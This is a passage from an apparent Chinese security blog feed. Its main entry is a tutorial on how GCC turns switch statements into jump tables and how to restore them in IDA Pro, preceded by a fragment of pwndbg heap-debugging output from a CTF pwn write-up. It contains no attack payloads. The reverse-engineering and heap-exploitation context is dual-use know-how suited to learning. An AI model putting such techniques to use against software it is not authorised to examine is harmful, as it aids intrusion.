0x555fe1c91050 (buffer+16) ◂— 0x0</span><br><span class="line">pwndbg> c</span><br><span class="line">...</span><br><span class="line">pwndbg> tcachebins</span><br><span class="line">tcachebins</span><br><span class="line">0x20 [1]: 0x555fe1c91050 (buffer+16) ◂— 0x0</span><br><span class="line">pwndbg> c</span><br><span class="line">...</span><br><span class="line">pwndbg> tcachebins</span><br><span class="line">tcachebins</span><br><span class="line">empty</span><br><span class="line">pwndbg> x/gx (void *)&nodes+16*2</span><br><span class="line">0x555fe1c910c0 <nodes+32>: 0x0000555fe1c91050</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>NeSE 战队丙组 7 月月赛,只做出了 pwn 的这一道题,花了一整天时间。第一次写 Write-up,内容比较详尽。</p></summary>
</entry>
<entry>
<title>在 IDA Pro 中恢复 switch 语句</title>
<link href="https://www.nuke666.cn/2021/08/Specify-switch-statement-in-IDA-Pro/"/>
<id>https://www.nuke666.cn/2021/08/Specify-switch-statement-in-IDA-Pro/</id>
<published>2021-08-06T12:19:05.000Z</published>
<updated>2021-08-11T06:23:00.000Z</updated>
<content type="html"><![CDATA[<p>在对程序进行逆向分析时,可能会遇到 IDA Pro 工具无法正确识别出编译后的 switch 语句的情况,增加了我们理解代码的难度。本文从编译器对 switch 语句的优化入手,先正向分析编译器会把 switch 语句编译成什么样的汇编代码,这些代码由哪些成分组成,之后介绍如何在 IDA Pro 工具中恢复出 switch 语句。</p><span id="more"></span><p>本文中所使用的环境为:</p><ul><li>OS:Ubuntu 20.04 x64</li><li>GCC:9.3.0</li><li>IDA Pro: 7.5 for Windows</li></ul><h2 id="理解编译器对 switch 语句的优化"><a href="# 理解编译器对 switch 语句的优化" class="headerlink" title="理解编译器对 switch 语句的优化"></a>理解编译器对 switch 语句的优化 </h2><p> 出于对代码执行效率的考虑,编译器会对源程序中的 switch 语句进行优化,而这种优化可能导致 IDA Pro 工具无法正确理解程序中的 switch 语句,从而影响我们进行逆向分析。编译器对 switch 语句的优化按照 case labels 是否紧凑和连续分为多种情况,本文只讨论 case labels 紧凑连续时被优化成跳转表的情况。</p><p>我们先从一个例子入手,观察我们在源代码中编写的 switch 语句是如何被编译器处理的。比如说,我们写这样一段简单的代码,获取一个输入值 <code>input</code>,然后将这个输入作为 switch 语句的判断条件,根据 <code>input</code> 值的不同来输出不同的结果,这个 switch 语句包含 6 个 case(default case 算作 case 0)。</p><figure class="highlight c"><figcaption><span>switch.c</span></figcaption><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">int</span> input;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> <span class="built_in">scanf</span>(<span class="string">"%d"</span>, &input);</span><br><span class="line"> <span class="keyword">switch</span>(input) {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 1"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 2"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 3"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 4"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 5"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"what's your input?"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用 <code>gcc -S switch.c </code> 命令进行编译,不进行汇编和链接,获得汇编代码 switch.s。我的 gcc 编译出来自己带了这些注释,你们的应该也一样吧。代码首先在开头定义了 LC1~LC6 这六个字符串常量,后面我们可以借助这些常量的标签去识别跳转的目标地址对应哪一个 case。接着是 main 函数的指令部分,再后面是一个跳转表,最后是我们跳转的目标代码部分。可以看到,标签 L8、L7、L6、L5、L3、L2 处分别对应 6 个 case 的目标代码,其中 L2 标签是 default case 的情况。跳转表中定义了 6 个 <code>.long</code> 类型(4 字节)的数据,每一个数据的值都是 Ln-L4 这样的形式,不难推测出跳转表中存储的是 6 个 case 对应目标代码与跳转表之间的相对偏移。</p><p>接着我们来阅读一下 main 函数中的关键代码,在 main 函数中,调用完 scanf 函数之后,就开始了 switch 语句的部分,首先从栈中取出 <code>input</code> 变量放到 eax 寄存器中,对输入进行判断,如果大于 5 则跳出到 L2 标签(default case),否则继续向下执行。这时候可能有人就问了:我 <code>input</code> 变量定义了一个 int 类型,那它要是个负值咋整?是不是还得加一个负值的判断?这里很巧妙地用了<code>ja</code>(Jump Above)这个指令,它把操作数都当做无符号数进行比较,也就是说,如果取到 eax 寄存器里的是一个负值,比如 <code>-1</code>,即 <code>0xffffffff</code>,作为无符号数它的值是 4294967295,是远大于 5 的,所以同样会跳出到 L2 标签。</p><p>然后程序把数据段 <code>rax*4</code> 得到的地址放到 rdx 寄存器中,这实际上就是跳转表的索引;接着将跳转表地址取到 rdx 寄存器中,取出跳转表中元素的值放到 eax 寄存器并带符号扩展为 8 个字节。之后取跳转表基址到 rdx 寄存器,两者相加得到跳转目标地址。</p><figure class="highlight plaintext"><figcaption><span>switch.s</span></figcaption><table><tr><td class="code"><pre><span class="line">...</span><br><span class="line">; --------------------</span><br><span class="line">; 字符串常量定义 </span><br><span class="line">; --------------------</span><br><span class="line">.LC1:</span><br><span class="line">.string"your input is 1"</span><br><span class="line">.LC2:</span><br><span class="line">.string"your input is 2"</span><br><span class="line">.LC3:</span><br><span class="line">.string"your input is 3"</span><br><span class="line">.LC4:</span><br><span class="line">.string"your input is 4"</span><br><span class="line">.LC5:</span><br><span class="line">.string"your input is 5"</span><br><span class="line">.LC6:</span><br><span class="line">.string"what's your input?"</span><br><span class="line">...</span><br><span class="line">; --------------------</span><br><span class="line">; main 函数代码 </span><br><span class="line">; --------------------</span><br><span class="line">main:</span><br><span class="line">...</span><br><span class="line">.L10:; 由于 while(1)循环,程序的结尾会跳回 L10 标签</span><br><span class="line">...</span><br><span class="line">call__isoc99_scanf@PLT</span><br><span class="line">movl-12(%rbp), %eax; switch 语句的第一条指令</span><br><span class="line">cmpl$5, %eax</span><br><span class="line">ja.L2; 如果输入值大于 5 则跳转到 L2,即 default case</span><br><span class="line">movl%eax, %eax</span><br><span class="line">leaq0(,%rax,4), %rdx; rdx <- &(ds:[rax*4])</span><br><span class="line">leaq.L4(%rip), %rax; rax <- &(rip + .L4)</span><br><span class="line">movl(%rdx,%rax), %eax; eax <- [rax + rdx] 取出跳转表中元素</span><br><span class="line">cltq; 将 4 字节带符号扩展为 8 字节(Convert Long To Quad)</span><br><span class="line">; rax <- sign-extend of eax</span><br><span class="line">leaq.L4(%rip), %rdx</span><br><span class="line">addq%rdx, %rax; rax <- rax + rdx 计算得到跳转目标地址</span><br><span class="line">notrack jmp*%rax; 跳转到目标地址</span><br><span class="line">; -------------</span><br><span class="line">; 跳转表 </span><br><span class="line">; -------------</span><br><span class="line">.section.rodata</span><br><span class="line">.align 4</span><br><span class="line">.align 4</span><br><span class="line">.L4:; 跳转表,每一个元素字长是 4 字节</span><br><span class="line">.long.L2-.L4</span><br><span class="line">.long.L8-.L4</span><br><span class="line">.long.L7-.L4</span><br><span class="line">.long.L6-.L4</span><br><span class="line">.long.L5-.L4</span><br><span class="line">.long.L3-.L4</span><br><span class="line">; -------------------</span><br><span class="line">; 跳转目标代码 </span><br><span class="line">; -------------------</span><br><span class="line">.text</span><br><span class="line">.L8:</span><br><span class="line">leaq.LC1(%rip), %rdi; case 1 入口</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">jmp.L9</span><br><span class="line">.L7:; case 2 入口</span><br><span class="line">leaq.LC2(%rip), %rdi</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">jmp.L9</span><br><span class="line">.L6:; case 3 入口</span><br><span class="line">leaq.LC3(%rip), %rdi</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">jmp.L9</span><br><span class="line">.L5:; case 4 入口</span><br><span class="line">leaq.LC4(%rip), %rdi</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">jmp.L9</span><br><span class="line">.L3:; case 5 入口</span><br><span class="line">leaq.LC5(%rip), %rdi</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">jmp.L9</span><br><span class="line">.L2:; default 入口(case 0 入口)</span><br><span class="line">leaq.LC6(%rip), %rdi</span><br><span class="line">movl$0, %eax</span><br><span class="line">callprintf@PLT</span><br><span class="line">nop</span><br><span class="line">.L9:</span><br><span class="line">jmp.L10; while(1)</span><br><span class="line">...</span><br></pre></td></tr></table></figure><h2 id="在 IDA-Pro 中恢复 switch 语句"><a href="# 在 IDA-Pro 中恢复 switch 语句" class="headerlink" title="在 IDA Pro 中恢复 switch 语句"></a>在 IDA Pro 中恢复 switch 语句 </h2><p> 现在我们来看一下 IDA Pro 对这个 switch 语句的识别情况。使用 <code>gcc -o switch switch.c</code> 命令进行编译和汇编、链接,得到二进制程序 switch。使用 IDA Pro 7.5 加载程序,反汇编得到的代码如下,和上面直接编译得到的汇编代码逐行进行对比,除了指令的表示形式不一样之外,内容基本上是一样的。可以注意到 0x11c8 地址处有一个奇怪的 <code>db 3Eh</code> 没有被解析,这实际上就是 <code>notrack</code> 指令,由于比较新所以 IDA Pro 7.5 并不能识别出这个指令,但它对我们分析和恢复 switch 语句没有任何影响,不必管它。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000001197 call ___isoc99_scanf</span><br><span class="line">.text:000000000000119C mov eax, [rbp+var_C]</span><br><span class="line">.text:000000000000119F cmp eax, 5</span><br><span class="line">.text:00000000000011A2 ja loc_122A</span><br><span class="line">.text:00000000000011A8 mov eax, eax</span><br><span class="line">.text:00000000000011AA lea rdx, ds:0[rax*4]</span><br><span class="line">.text:00000000000011B2 lea rax, unk_206C</span><br><span class="line">.text:00000000000011B9 mov eax, [rdx+rax]</span><br><span class="line">.text:00000000000011BC cdqe</span><br><span class="line">.text:00000000000011BE lea rdx, unk_206C</span><br><span class="line">.text:00000000000011C5 add rax, rdx</span><br><span class="line">.text:00000000000011C8 db 3Eh</span><br><span class="line">.text:00000000000011C8 jmp rax</span><br><span class="line">.text:00000000000011CB ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00000000000011CB lea rdi, aYourInputIs1 ; "your input is 1"</span><br><span class="line">.text:00000000000011D2 mov eax, 0</span><br><span class="line">.text:00000000000011D7 call _printf</span><br><span class="line">.text:00000000000011DC jmp short loc_123C</span><br><span class="line">.text:00000000000011DE ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00000000000011DE lea rdi, aYourInputIs2 ; "your input is 2"</span><br><span class="line">.text:00000000000011E5 mov eax, 0</span><br><span class="line">.text:00000000000011EA call _printf</span><br><span class="line">.text:00000000000011EF jmp short loc_123C</span><br><span class="line">.text:00000000000011F1 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00000000000011F1 lea rdi, aYourInputIs3 ; "your input is 3"</span><br><span class="line">.text:00000000000011F8 mov eax, 0</span><br><span class="line">.text:00000000000011FD call _printf</span><br><span class="line">.text:0000000000001202 jmp short loc_123C</span><br><span class="line">.text:0000000000001204 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001204 lea rdi, aYourInputIs4 ; "your input is 4"</span><br><span class="line">.text:000000000000120B mov eax, 0</span><br><span class="line">.text:0000000000001210 call _printf</span><br><span class="line">.text:0000000000001215 jmp short loc_123C</span><br><span class="line">.text:0000000000001217 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001217 lea rdi, aYourInputIs5 ; "your input is 5"</span><br><span class="line">.text:000000000000121E mov eax, 0</span><br><span class="line">.text:0000000000001223 call _printf</span><br><span class="line">.text:0000000000001228 jmp short loc_123C</span><br><span class="line">.text:000000000000122A ; ---------------------------------------------------------------------------</span><br><span class="line">.text:000000000000122A</span><br><span class="line">.text:000000000000122A loc_122A: ; CODE XREF: main+39↑j</span><br><span class="line">.text:000000000000122A lea rdi, format ; "what's your input?"</span><br><span class="line">.text:0000000000001231 mov eax, 0</span><br><span class="line">.text:0000000000001236 call _printf</span><br><span class="line">.text:000000000000123B nop</span><br><span class="line">.text:000000000000123C</span><br><span class="line">.text:000000000000123C loc_123C: ; CODE XREF: main+73↑j</span><br><span class="line">.text:000000000000123C ; main+86↑j ...</span><br><span class="line">.text:000000000000123C jmp loc_1184</span><br><span class="line">.text:000000000000123C ; } // starts at 1169</span><br><span class="line">.text:000000000000123C main endp</span><br></pre></td></tr></table></figure><p>从上面反汇编得到的代码不难看出 <code>unk_206c</code> 就是 switch 语句的跳转表,双击查看这个跳转表,可以看到 IDA 只是将这部分内容识别成一连串的字节数据,并不能理解数据的含义。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:000000000000206C unk_206C db 0BEh ; DATA XREF: main+49↑o</span><br><span class="line">.rodata:000000000000206C ; main+55↑o</span><br><span class="line">.rodata:000000000000206D db 0F1h</span><br><span class="line">.rodata:000000000000206E db 0FFh</span><br><span class="line">.rodata:000000000000206F db 0FFh</span><br><span class="line">.rodata:0000000000002070 db 5Fh ; _</span><br><span class="line">.rodata:0000000000002071 db 0F1h</span><br><span class="line">.rodata:0000000000002072 db 0FFh</span><br><span class="line">.rodata:0000000000002073 db 0FFh</span><br><span class="line">.rodata:0000000000002074 db 72h ; r</span><br><span class="line">.rodata:0000000000002075 db 0F1h</span><br><span class="line">.rodata:0000000000002076 db 0FFh</span><br><span class="line">.rodata:0000000000002077 db 0FFh</span><br><span class="line">.rodata:0000000000002078 db 85h</span><br><span class="line">.rodata:0000000000002079 db 0F1h</span><br><span class="line">.rodata:000000000000207A db 0FFh</span><br><span class="line">.rodata:000000000000207B db 0FFh</span><br><span class="line">.rodata:000000000000207C db 98h</span><br><span class="line">.rodata:000000000000207D db 0F1h</span><br><span class="line">.rodata:000000000000207E db 0FFh</span><br><span class="line">.rodata:000000000000207F db 0FFh</span><br><span class="line">.rodata:0000000000002080 db 0ABh</span><br><span class="line">.rodata:0000000000002081 db 0F1h</span><br><span class="line">.rodata:0000000000002082 db 0FFh</span><br><span class="line">.rodata:0000000000002083 db 0FFh</span><br></pre></td></tr></table></figure><p>点击鼠标右键,逐个将数据类型修改为“Double Word”,然后点击 “Edit” -> “Operand type” -> “Offset” -> “Offset (user-defined)”,“Base address” 填入跳转表自身的地址 <code>0x206c</code>,其他保持默认,这样可以把这些值恢复成偏移的表示形式,现在看起来是不是和上面编译直接得到的汇编代码很像了?这个步骤对于恢复 switch 语句来说不是必须的,只是为了讲解起来更清楚一些。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:000000000000206C jumptable_206C dd offset loc_122A - $ ; DATA XREF: main+49↑o</span><br><span class="line">.rodata:000000000000206C ; main+55↑o ...</span><br><span class="line">.rodata:0000000000002070 dd offset loc_11CB - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002074 dd offset loc_11DE - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002078 dd offset loc_11F1 - offset jumptable_206C</span><br><span class="line">.rodata:000000000000207C dd offset loc_1204 - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002080 dd offset loc_1217 - offset jumptable_206C</span><br></pre></td></tr></table></figure><p>如果我们尝试直接按 F5 对 main 函数进行反编译,会得到什么样的结果呢?可以看到,while 语句识别出来了,但 switch 语句并没有被识别出来,而且,很明显少了许多代码,和源代码相比不能说一模一样吧,可以说是毫不相干。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> result; <span class="comment">// eax</span></span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> input; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &input);</span><br><span class="line"> <span class="keyword">if</span> (input <= <span class="number">5</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"what's your input?"</span>);</span><br><span class="line"> }</span><br><span class="line"> __asm { jmp rax }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接下来进入正文,使用 IDA Pro 提供的“Specify switch idiom”功能恢复出 switch 语句。将光标点在 switch 语句的起始地址 0x199c 处,点击 “Edit” -> “Other” -> “Specify switch idiom”,可以看到这样一个窗口。</p><img src="https://i.loli.net/2021/08/06/yL14R7dzYDMoujx.png" title="Specify switch idiom 窗口" alt="Specify switch idiom 窗口" class="box px-0 py-0 mx-auto" width="400" /><br /><p>对于这些值的含义,IDA Pro 自身其实做了一些简要的说明,点击窗口下方的“Help”按钮,可以看到这样的内容:</p><blockquote><p>Please specify the <strong>jump table address</strong>, the <strong>number of its elements</strong> and <strong>their widths(1,2,4,8)</strong>. The <strong>element shift amount</strong> and <strong>base value</strong> should be specified only if the table elements are not plain target addresses but must be converted using the following formula:</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target = base +/- (table_element << shift)</p><p>(only this formula is supported by the kernel; other cases must be handled by plugins and ‘custom’ switch idioms).</p><p>If you specify BADADDR as the <strong>element base</strong> then the base of the switch segment will be used</p><p>The <strong>start of the switch idiom</strong> is the address of the first instruction in the switch idiom.</p><p>Subtraction is used instead of addition if “<strong>Subtract table elements</strong>“ is selected.</p><p>When table element is an instruction then you should select “<strong>Table element is insn</strong>“.</p><p>If you specify that a <strong>separate value table is present</strong>, an additional dialog box with its attributes will be displayed.</p></blockquote><p>但是,IDA Pro 提供的这个说明只解释了一部分的参数,而且有些参数的解释也不很明确,经过一番尝试和理解,我得出了如下解释,其中加粗的参数是我们需要关注的参数。</p><ul><li><strong>Address of jump table:</strong>跳转表的地址。</li><li><strong>Number of elements:</strong>跳转表中元素的个数。</li><li><strong>Size of table element:</strong>跳转表中每个元素的字长(1/2/4/8)。</li><li>Element shift amount:一般情况下保持默认的 0 即可。除非跳转表中存储的元素并不是跳转的目标地址,而是需要通过 <code>target = base +/- (table_element << shift)</code> 这个公式计算得出,这种情况需要作为 <code>shift</code> 的值提供。</li><li><strong>Element base value:</strong>与 Address of jump table 保持相同的值,对应上述公式中的 <code>base</code>。</li><li><strong>Start of the switch idiom:</strong>switch 语句的首个指令的地址(比如上面例子中的 0x199c),在打开“Specify switch idiom”窗口时,光标处的地址会被自动填写到这里,这就是前面把光标点在地址 0x199c 处的原因。</li><li><strong>Input register of switch:</strong>存储 switch 语句输入的寄存器,即存储 <code>switch(input) {...}</code> 中<code>input</code>变量的寄存器。</li><li>First(lowest) input value:最小的 case 值,比如 case 有 1、2、3、4、5,则填写 0,因为 default 占用了 case 0。</li><li><strong>Default jump address:</strong>default case 的跳转目标地址,可以不指定,不指定时对于 default case 以 case 0 的形式显示。</li><li>Separate value table is present:暂时没搞清,用不到。</li><li><strong>Signed jump table elements:</strong>跳转表中的元素是有符号值时需要勾选。</li><li>Subtract table elements:计算跳转表元素时用减法而不是用加法。</li><li>Table element is insn:跳转表中存储的不是目标地址而直接是指令时需要勾选。</li></ul><p>还是以上面的程序为例,我来逐个解释如何从 IDA Pro 反编译得到的汇编代码中识别并填写这些值。我把前面的一部分代码粘贴到这里,便于对照查看。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000001197 call ___isoc99_scanf</span><br><span class="line">.text:000000000000119C mov eax, [rbp+var_C]</span><br><span class="line">.text:000000000000119F cmp eax, 5</span><br><span class="line">.text:00000000000011A2 ja loc_122A</span><br><span class="line">.text:00000000000011A8 mov eax, eax</span><br><span class="line">.text:00000000000011AA lea rdx, ds:0[rax*4]</span><br><span class="line">.text:00000000000011B2 lea rax, unk_206C</span><br><span class="line">.text:00000000000011B9 mov eax, [rdx+rax]</span><br><span class="line">.text:00000000000011BC cdqe</span><br><span class="line">.text:00000000000011BE lea rdx, unk_206C</span><br><span class="line">.text:00000000000011C5 add rax, rdx</span><br><span class="line">.text:00000000000011C8 db 3Eh</span><br><span class="line">.text:00000000000011C8 jmp rax</span><br></pre></td></tr></table></figure><p>首先是 Address of jump table 和 Element base value,这两个都填写跳转表的地址,可以看到 0x11b2 地址处和 0x11be 地址处分别把 <code>unk_206c</code> 的地址取到 rax 和 rdx 寄存器,然后分别进行了从跳转表中取元素和将取出的元素与跳转表基址相加的操作,那显然 0x206c 就是跳转表的地址。</p><p>接着是跳转表中元素字长(Size of table element)的识别,如何看出跳转表中每个元素的字长呢?去看跳转表吗?不,我们看程序是如何从跳转表中取值的。0x11aa 处的代码 <code>lea rdx, ds:0[rax*4]</code> 已经告诉我们,跳转表中的每个元素是 4 个字节。有了元素字长,那么跳转表中元素个数(Number of elements)自然也有了,<code>(跳转表结束地址 - 跳转表起始地址 + 1) / 字长 </code> 就可以得到元素个数为 6,也可以将跳转表的元素恢复成 Double Word(4 字节)之后直接数一下有几个。</p><p>switch 语句的起始地址(Start of the switch idiom)已经自动填写好了,就是我们打开“Specify switch idiom”窗口时光标所在的位置。那么这个位置是怎么来的呢?目测一下,scanf 函数 把输入值存到了 <code>input</code> 变量,switch 语句把 <code>input</code> 变量的值取到 eax 寄存器,然后与 case 总数进行比较,那么 <code>mov eax, [rbp+var_C]</code> 就是 switch 语句编译出来的第一条指令。通过这个分析,switch 语句存储输入的寄存器(Input register of switch)也有了,就是这里的 eax。</p><p>Default case 的跳转目标地址(Default jump address),可以拉到下面去看每一个目标地址处的指令来进行判断,更简单的方法是看 0x11a2 地址处的<code>ja loc_122A</code>,如果输入值大于 5,则直接跳转到 0x122a 处,那么这个 0x122a 显然就是 default case 的跳转目标地址。</p><p>最后,Signed jump table elements 是否需要勾选?跳转表的基址是 0x206c,跳转目标地址的范围在 0x11cb 到 0x122a,在编译时,跳转表中存储的元素是跳转目标地址减去跳转表的基址,那显然这些值都是负值,所以需要勾选。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:000000000000206C jumptable_206C dd offset loc_122A - $ ; DATA XREF: main+49↑o</span><br><span class="line">.rodata:000000000000206C ; main+55↑o ...</span><br><span class="line">.rodata:0000000000002070 dd offset loc_11CB - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002074 dd offset loc_11DE - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002078 dd offset loc_11F1 - offset jumptable_206C</span><br><span class="line">.rodata:000000000000207C dd offset loc_1204 - offset jumptable_206C</span><br><span class="line">.rodata:0000000000002080 dd offset loc_1217 - offset jumptable_206C</span><br></pre></td></tr></table></figure><p>其他没有提到的参数保持默认即可,为了便于查阅,我也画了一张填写图示。</p><img src="https://i.loli.net/2021/08/06/W3rwcIOkvabRMle.png" title="填写 Manual switch declaration 窗口" alt="填写 Manual switch declaration 窗口" class="box px-0 py-0 mx-auto" width="800" /><br /><p>完成之后,再次按 F5 进行反编译,可以看到,IDA Pro 很完美地还原了 switch 语句的结构。</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> input; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> ((<span class="type">unsigned</span> <span class="type">int</span>)__isoc99_scanf(<span class="string">"%d"</span>, &input) )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 1"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 2"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 3"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 4"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 5"</span>);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"what's your input?"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那如果说你恢复完得到的 switch 语句不这么完美而是有点奇奇怪怪的,识别出了 switch 语句但又没有完全识别,请回去检查一下你的“Start of the switch idiom”参数是不是给对了,比如说我如果给的是那句 <code>lea rdx, ds:0[rax*4]</code> 的地址 0x11aa,那么我反编译得到的结果是这个样子:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">unsigned</span> <span class="type">int</span> input; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line"> <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">2</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> __isoc99_scanf(<span class="string">"%d"</span>, &input);</span><br><span class="line"> <span class="keyword">if</span> (input <= <span class="number">5</span> )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">LABEL_9:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"what's your input?"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">switch</span> (input)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 1"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">2u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 2"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">3u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 3"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">4u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 4"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">5u</span>:</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"your input is 5"</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">goto</span> LABEL_9;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>在对程序进行逆向分析时,可能会遇到IDA Pro工具无法正确识别出编译后的switch语句的情况,增加了我们理解代码的难度。本文从编译器对switch语句的优化入手,先正向分析编译器会把switch语句编译成什么样的汇编代码,这些代码由哪些成分组成,之后介绍如何在IDA Pro工具中恢复出switch语句。</p></summary>
</entry>
<entry>
<title>面向小白的 Windows 系统重装教程</title>
<link href="https://www.nuke666.cn/2021/08/How-to-reinstall-Windows/"/>
<id>https://www.nuke666.cn/2021/08/How-to-reinstall-Windows/</id>
<published>2021-08-03T08:18:50.000Z</published>
